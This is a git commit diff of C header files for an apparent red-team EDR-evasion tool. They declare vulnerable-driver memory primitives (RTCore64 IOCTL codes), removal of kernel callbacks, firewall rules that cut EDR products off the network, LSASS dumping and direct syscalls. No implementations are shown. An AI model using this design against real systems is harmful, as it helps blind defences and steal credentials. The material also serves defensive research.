D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more

Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
Qazeer
2022-08-13 09:23:48 -07:00
parent 2e037a379b
commit 48a75a7029
91 changed files with 10503 additions and 4414 deletions
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <Windows.h>
HANDLE GetDriverHandle_DBUtil();
VOID CloseDriverHandle_DBUtil();
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
+5 -4
View File
@@ -9,16 +9,17 @@
#include <Windows.h>
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
#endif
#define SERVICE_NAME_LENGTH 8
#define MAX_UNINSTALL_ATTEMPTS 3
#define OP_SLEEP_TIME 1000
TCHAR* GetServiceName(void);
void SetServiceName(TCHAR* newName, size_t szNewName);
TCHAR* GetDriverServiceName(void);
void SetDriverServiceName(_In_z_ TCHAR* newName);
BOOL InstallVulnerableDriver(TCHAR* driverPath);
BOOL UninstallVulnerableDriver(void);
BOOL UninstallVulnerableDriver(void);
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <Windows.h>
HANDLE GetDriverHandle_RTCore();
VOID CloseDriverHandle_RTCore();
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
+13
View File
@@ -0,0 +1,13 @@
#pragma once
PBYTE ReadFullFileW(LPCWSTR fileName);
BOOL FileExistsA(LPCSTR szPath);
BOOL FileExistsW(LPCWSTR szPath);
#ifdef UNICODE
#define FileExists FileExistsW
#else
#define FileExists FileExistsA
#endif // !UNICODE
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize);
+4 -2
View File
@@ -2,8 +2,10 @@
#include <Windows.h>
LPTSTR GetNtoskrnlPath();
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
LPTSTR GetNtoskrnlVersion();
void GetWdigestVersion(TCHAR* wdigestVersion);
LPTSTR GetWdigestVersion();
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#pragma warning(disable : 4201)
#include <netfw.h>
#pragma warning(default : 4201)
#include <Tchar.h>
#include <stdio.h>
#include "StringUtils.h"
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#ifndef FW_PROFILE_TYPE_ALL
#define FW_PROFILE_TYPE_ALL 0x7FFFFFFF
#endif
#define FW_RULE_NAME_MAX_LENGTH 20
HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
HRESULT DeleteFirewallRule(TCHAR * ruleName);
+37
View File
@@ -0,0 +1,37 @@
/*
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
*/
#pragma once
#include <Windows.h>
#include <Dbghelp.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <Tchar.h>
#include "FirewallOps.h"
#include "IsEDRChecks.h"
#include "IsElevatedProcess.h"
// Singly-linked list used to hold the paths of binaries executed by EDRs (processes / services).
typedef struct sFwBinaryRules_ {
TCHAR* binaryPath;
TCHAR* ruleInboundName;
TCHAR* ruleOutboundName;
struct sFwBinaryRules_* next;
} fwBinaryRules;
typedef struct fwBlockingRulesList_ {
fwBinaryRules* first;
}fwBlockingRulesList;
void FirewallPrintManualDeletion(fwBlockingRulesList* fwEntries);
HRESULT FirewallBlockEDR(fwBlockingRulesList* fwEntries);
HRESULT FirewallUnblockEDR(fwBlockingRulesList* fwEntries);
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry);
+2
View File
@@ -0,0 +1,2 @@
#pragma once
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size);
+24
View File
@@ -0,0 +1,24 @@
/*
* Primitives to check if a binary or driver belongs to an EDR product.
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "SignatureOps.h"
TCHAR const* EDR_SIGNATURE_KEYWORDS[];
TCHAR const* EDR_BINARIES[];
TCHAR const* EDR_DRIVERS[];
BOOL isFileSignatureMatchingEDR(TCHAR* filePath);
BOOL isBinaryNameMatchingEDR(TCHAR* binaryName);
BOOL isBinaryPathMatchingEDR(TCHAR* binaryPath);
BOOL isDriverNameMatchingEDR(TCHAR* driverName);
BOOL isDriverPathMatchingEDR(TCHAR* driverPath);
@@ -0,0 +1,8 @@
#pragma once
#include "Windows.h"
#include "Tchar.h"
#pragma comment(lib, "netapi32.lib")
BOOL IsElevatedProcess();
+21 -8
View File
@@ -17,10 +17,24 @@
*/
#define PSP_MAX_CALLBACKS 0x40
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
enum kernel_callback_type_e {
NOTIFY_ROUTINE_CB,
OBJECT_CALLBACK
};
struct KRNL_CALLBACK {
TCHAR const* driver;
DWORD64 callback_addr;
DWORD64 callback_struct;
enum kernel_callback_type_e type;
TCHAR const* driver_name;
union callback_addr_e {
struct notify_routine_t {
DWORD64 callback_struct_addr;
DWORD64 callback_struct;
enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types
} notify_routine;
struct object_callback_t {
DWORD64 enable_addr;
} object_callback;
} addresses;
DWORD64 callback_func;
BOOL removed;
};
@@ -30,11 +44,10 @@ struct FOUND_EDR_CALLBACKS {
struct KRNL_CALLBACK EDR_CALLBACKS[256];
};
TCHAR const* EDR_DRIVERS[];
BOOL isDriverEDR(TCHAR* driver);
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
/*
@@ -78,6 +91,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
*/
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
+36 -48
View File
@@ -9,61 +9,49 @@
#include <Windows.h>
#define RTCore 0
#define DBUtil 1
#define VULN_DRIVER RTCore
struct RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define GetDriverHandle GetDriverHandle_RTCore
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define GetDriverHandle GetDriverHandle_DBUtil
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
BYTE ReadMemoryBYTE(DWORD64 Address);
WORD ReadMemoryWORD(DWORD64 Address);
DWORD ReadMemoryDWORD(DWORD64 Address);
DWORD64 ReadMemoryDWORD64(DWORD64 Address);
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
BYTE ReadKernelMemoryBYTE(DWORD64 Offset);
WORD ReadKernelMemoryWORD(DWORD64 Offset);
DWORD ReadKernelMemoryDWORD(DWORD64 Offset);
DWORD64 ReadKernelMemoryDWORD64(DWORD64 Offset);
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
void WriteMemoryBYTE(DWORD64 Address, BYTE Value);
void WriteMemoryWORD(DWORD64 Address, WORD Value);
void WriteMemoryDWORD(DWORD64 Address, DWORD Value);
void WriteMemoryDWORD64(DWORD64 Address, DWORD64 Value);
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
void WriteKernelMemoryBYTE(DWORD64 Offset, BYTE Value);
void WriteKernelMemoryWORD(DWORD64 Offset, WORD Value);
void WriteKernelMemoryDWORD(DWORD64 Offset, DWORD Value);
void WriteKernelMemoryDWORD64(DWORD64 Offset, DWORD64 Value);
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
VOID CloseDriverHandle();
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
HANDLE GetDriverHandle();
DWORD64 GetFunctionAddress(LPCSTR function);
BOOL TestReadPrimitive();
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <Windows.h>
DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
TCHAR* FindDriverPath(DWORD64 address);
DWORD64 GetKernelFunctionAddress(LPCSTR function);
-12
View File
@@ -1,12 +0,0 @@
/*
--- LSASS dump functions.
*/
#pragma once
#include <Windows.h>
DWORD WINAPI dumpLSASSProcess(void* data);
+7
View File
@@ -0,0 +1,7 @@
#include <Windows.h>
typedef struct _LINKED_LIST {
struct _LINKED_LIST* next;
} LINKED_LIST, * PLINKED_LIST;
VOID freeLinkedList(PVOID head);
+35 -12
View File
@@ -11,13 +11,16 @@
enum NtoskrnlOffsetType {
CREATE_PROCESS_ROUTINE = 0,
CREATE_THREAD_ROUTINE = 1,
LOAD_IMAGE_ROUTINE = 2,
PROTECTION_LEVEL = 3,
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
ETW_REG_ENTRY_GUIDENTRY = 5,
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
CREATE_PROCESS_ROUTINE,
CREATE_THREAD_ROUTINE,
LOAD_IMAGE_ROUTINE,
PROTECTION_LEVEL,
ETW_THREAT_INT_PROV_REG_HANDLE,
ETW_REG_ENTRY_GUIDENTRY,
ETW_GUID_ENTRY_PROVIDERENABLEINFO,
PSPROCESSTYPE,
PSTHREADTYPE,
OBJECT_TYPE_CALLBACKLIST,
_SUPPORTED_NTOSKRNL_OFFSETS_END
};
@@ -30,21 +33,41 @@ union NtoskrnlOffsets {
DWORD64 pspCreateThreadNotifyRoutine;
// ntoskrnl's PspLoadImageNotifyRoutine
DWORD64 pspLoadImageNotifyRoutine;
// ntoskrnl EPROCESS's _PS_PROTECTION
DWORD64 ps_protection;
// ntoskrnl EPROCESS's Protection field offset
DWORD64 eprocess_protection;
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
DWORD64 etwThreatIntProvRegHandle;
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
DWORD64 etwRegEntry_GuidEntry;
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
DWORD64 etwGuidEntry_ProviderEnableInfo;
// ntoskrnl PsProcessType symbol offset
DWORD64 psProcessType;
// ntoskrnl PsThreadType symbol offset
DWORD64 psThreadType;
// ntoskrnl _OBJECT_TYPE's CallbackList symbol offset
DWORD64 object_type_callbacklist;
} st;
// array version (usefull for code factoring)
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
};
union NtoskrnlOffsets ntoskrnlOffsets;
union NtoskrnlOffsets g_ntoskrnlOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
// Stores, in a global variable, the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename);
// Saves the offsets, stored in global variable, in the provided CSV file
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename);
// Print the Ntosknrl offsets.
void PrintNtoskrnlOffsets();
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb);
BOOL NtoskrnlOffsetsAreAllPresent();
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent();
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent();
BOOL NtoskrnlEtwtiOffsetsArePresent();
BOOL NtoskrnlObjectCallbackOffsetsArePresent();
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#define DECLARE_OFFSET(STRUCTNAME, OFFSETNAME) DWORD64 Offset_ ## STRUCTNAME ## _ ## OFFSETNAME
#define DECLARE_SYMBOL(SYMBOL) DWORD64 Sym_ ## SYMBOL
// Offset used in experimental functions (EnumAllObjectsCallbacks, EnableDisableProcessAndThreadObjectsCallbacksSupport)
DECLARE_OFFSET(_OBJECT_TYPE, Name);
DECLARE_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
DECLARE_OFFSET(_OBJECT_TYPE, TypeInfo);
DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
DECLARE_SYMBOL(ObpObjectTypes);
DECLARE_SYMBOL(ObpTypeObjectType);
//callback support strategy
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable);
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled();
//undoc struct strategy
void EnumAllObjectsCallbacks();
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable);
//full black box strategy
SIZE_T CountProcessAndThreadObjectsCallbacks();
void RemoveAllProcessAndThreadObjectsCallbacks();
void RestoreAllProcessAndThreadObjectsCallbacks();
+14 -2
View File
@@ -1,9 +1,10 @@
#pragma once
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
#include <Windows.h>
typedef unsigned __int64 QWORD;
typedef struct _IMAGE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
@@ -14,6 +15,13 @@ typedef struct PE_relocation_t {
WORD Type : 4;
} PE_relocation;
typedef struct PE_codeview_debug_info_t {
DWORD signature;
GUID guid;
DWORD age;
CHAR pdbName[1];
} PE_codeview_debug_info;
typedef struct PE_pointers {
BOOL isMemoryMapped;
BOOL isInAnotherAddressSpace;
@@ -34,6 +42,9 @@ typedef struct PE_pointers {
//relocations info
DWORD nbRelocations;
PE_relocation* relocations;
//debug info
IMAGE_DEBUG_DIRECTORY* debugDirectory;
PE_codeview_debug_info* codeviewDebugInfo;
} PE;
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
@@ -47,4 +58,5 @@ PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
VOID PE_parseRelocations(PE* pe);
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
VOID PE_destroy(PE* pe);
+12
View File
@@ -0,0 +1,12 @@
#pragma once
typedef struct symbol_ctx_t {
LPWSTR pdb_name_w;
DWORD64 pdb_base_addr;
HANDLE sym_handle;
} symbol_ctx;
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path);
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name);
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name);
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb);
+16
View File
@@ -0,0 +1,16 @@
/*
--- LSASS dump functions.
*/
#pragma once
#include <Windows.h>
//typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam);
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile);
DWORD WINAPI dumpProcessFromThread(PVOID* args);
@@ -0,0 +1,29 @@
#pragma once
#include <Windows.h>
#include <tchar.h>
enum ProcessorArchitecture {
AMD64 = 9,
INTEL = 0,
};
#if _WIN64
#define PROCESSOR_ARCHITECTURE AMD64
#define SIZE_OF_SYSTEM_INFO_STREAM 48
#else
#define PROCESSOR_ARCHITECTURE INTEL
#define SIZE_OF_SYSTEM_INFO_STREAM 56
#endif
typedef struct _DUMP_CONTEXT {
HANDLE hProcess;
PVOID BaseAddress;
ULONG32 RVA;
SIZE_T DumpMaxSize;
ULONG32 Signature;
USHORT Version;
USHORT ImplementationVersion;
} DUMP_CONTEXT, * PDUMP_CONTEXT;
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath);
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args);
+34
View File
@@ -0,0 +1,34 @@
#include <Windows.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "Undoc.h"
typedef struct _MODULE_INFO {
struct _MODULE_INFO* next;
ULONG64 dllBase;
ULONG32 ImageSize;
WCHAR dllName[256];
ULONG32 nameRVA;
ULONG32 timeDateStamp;
ULONG32 checkSum;
} MODULE_INFO, * PMODULE_INFO;
typedef struct _MEMORY_PAGE_INFO {
struct _MEMORY_PAGE_INFO* next;
ULONG64 startOfMemoryPage;
ULONG64 dataSize;
DWORD state;
DWORD protect;
DWORD type;
} MEMORY_PAGE_INFO, * PMEMORY_PAGE_INFO;
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA);
// Return a pointer to the target process PEB Ldr (as a pseudo LDR_DATA_TABLE_ENTRY).
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess);
// Return a module info list of loaded moduler in InMemoryOrder.
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess);
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage);
+1 -7
View File
@@ -10,15 +10,9 @@
#include <Windows.h>
//extern union NtoskrnlOffsets ntoskrnlOffsets;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define PROTECTED_PROCESS_MASK 0x00000800
/*
* Defines the NtQuerySystemInformation function.
@@ -80,4 +74,4 @@ typedef enum _PS_PROTECTED_SIGNER {
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
int SetCurrentProcessAsProtected(BOOL verbose);
int SetCurrentProcessAsProtected(BOOL verbose);
+121
View File
@@ -0,0 +1,121 @@
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW2_HEADER_H_
#define SW2_HEADER_H_
#include <windows.h>
#include "Undoc.h"
#define SW2_SEED 0xE14B0D06
#define SW2_ROL8(v) (v << 8 | v >> 24)
#define SW2_ROR8(v) (v >> 8 | v << 24)
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
#define SW2_MAX_ENTRIES 500
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD RVA;
DWORD SyscallNumber;
} SW2_SYSCALL_ENTRY, * PSW2_SYSCALL_ENTRY;
typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, * PSW2_SYSCALL_LIST;
DWORD SW2_HashSyscall(PCSTR FunctionName);
BOOL SW2_PopulateSyscallList(void);
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
EXTERN_C NTSTATUS NtGetNextProcess(
IN HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN ULONG HandleAttributes,
IN ULONG Flags,
OUT PHANDLE NewProcessHandle);
EXTERN_C NTSTATUS NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);
EXTERN_C NTSTATUS NtClose(
IN HANDLE Handle);
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
EXTERN_C NTSTATUS NtQueryVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
OUT PVOID MemoryInformation,
IN SIZE_T MemoryInformationLength,
OUT PSIZE_T ReturnLength OPTIONAL);
EXTERN_C NTSTATUS NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress OPTIONAL,
OUT PVOID Buffer,
IN SIZE_T BufferSize,
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
EXTERN_C NTSTATUS NtCreateFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength);
EXTERN_C NTSTATUS NtWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL);
#endif
+29
View File
@@ -0,0 +1,29 @@
#pragma once
#include <windows.h>
#include "winerror.h"
#include <wincrypt.h>
#include <wintrust.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(lib, "crypt32.lib")
typedef
enum _SignatureOpsError {
E_FILE_NOT_FOUND = -2,
E_KO = -1,
E_SUCCESS = 0,
E_INSUFFICIENT_BUFFER = 1,
E_NOT_SIGNED = 2
} SignatureOpsError;
//typedef enum _signatureOpsError signatureOpsError;
/*
* Retrieves a string containing the Signers of the specificied file concatenated.
* Parameters:
* [in] pFilePath: path the file.
* [out] outSigners: out string that will contain the concatenated Signers. If outSigners is NULL, szOutSigners will contain the number of TCHAR required for the output string (termination included).
* [in,out] szOutSigners: length of outSigners. If szOutSigners is too small, szOutSigners will contain the number of TCHAR required for the output string (termination included).
*/
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners);
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "Undoc.h"
#include "time.h"
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* tcharString);
TCHAR* generateRandomString(TCHAR* str, size_t size);
TCHAR* allocAndGenerateRandomString(size_t length);
@@ -0,0 +1,16 @@
#pragma once
#include <Windows.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "SW2_Syscalls.h"
#define ProcessImageFileName 27
DWORD SandGetProcessPID(HANDLE hProcess);
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess);
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize);
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid);
+4
View File
@@ -0,0 +1,4 @@
#pragma once
#include <Windows.h>
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName);
+116 -10
View File
@@ -148,6 +148,7 @@
#ifdef _MSC_VER
//when compiling as C
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
#pragma warning (disable:4201) //Warning Level 4: C4201: nonstandard extension used: nameless struct/union
//"#pragma pack(1)" not needed as Microsoft has designed all structure members to be on natural boundaries
@@ -276,9 +277,15 @@ struct RTL_CRITICAL_SECTION
typedef struct _CLIENT_ID
{
DWORD ProcessId;
DWORD ThreadId;
} CLIENT_ID;
HANDLE ProcessId;
HANDLE ThreadId;
} CLIENT_ID, * PCLIENT_ID;
//typedef struct _CLIENT_ID
//{
// HANDLE UniqueProcess;
// HANDLE UniqueThread;
//} CLIENT_ID, * PCLIENT_ID;
/*
typedef struct _PROCESSOR_NUMBER
@@ -293,16 +300,15 @@ typedef struct _STRING
{
WORD Length;
WORD MaximumLength;
CHAR* Buffer;
CHAR* Buffer;
} STRING;
typedef struct _UNICODE_STRING
{
WORD Length;
WORD MaximumLength;
WCHAR* Buffer;
} UNICODE_STRING;
WCHAR* Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
//
// Exception-specific structures and definitions
@@ -469,7 +475,7 @@ typedef struct _PEB_LDR_DATA
LIST_ENTRY InMemoryOrderModuleList; //0x14
LIST_ENTRY InInitializationOrderModuleList; //0x1C
void* EntryInProgress; //0x24
} PEB_LDR_DATA;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct PEB_FREE_BLOCK PEB_FREE_BLOCK;
struct PEB_FREE_BLOCK
@@ -509,7 +515,7 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS
UNICODE_STRING ShellInfo; //0x80
UNICODE_STRING RuntimeData; //0x88
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; //0x90
} RTL_USER_PROCESS_PARAMETERS;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
//
// PEB (Process Environment Block) 32-bit
@@ -728,7 +734,7 @@ typedef struct _PEB
} dword254;
void* WaitOnAddressHashTable[128]; //0x025C
} PEB;
} PEB, * PPEB;
//
@@ -1152,4 +1158,104 @@ typedef struct _LDR_DATA_TABLE_ENTRY
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_SUPERSEDE 0x00000000
#define FILE_OPEN 0x00000001
#define FILE_CREATE 0x00000002
#define FILE_OPEN_IF 0x00000003
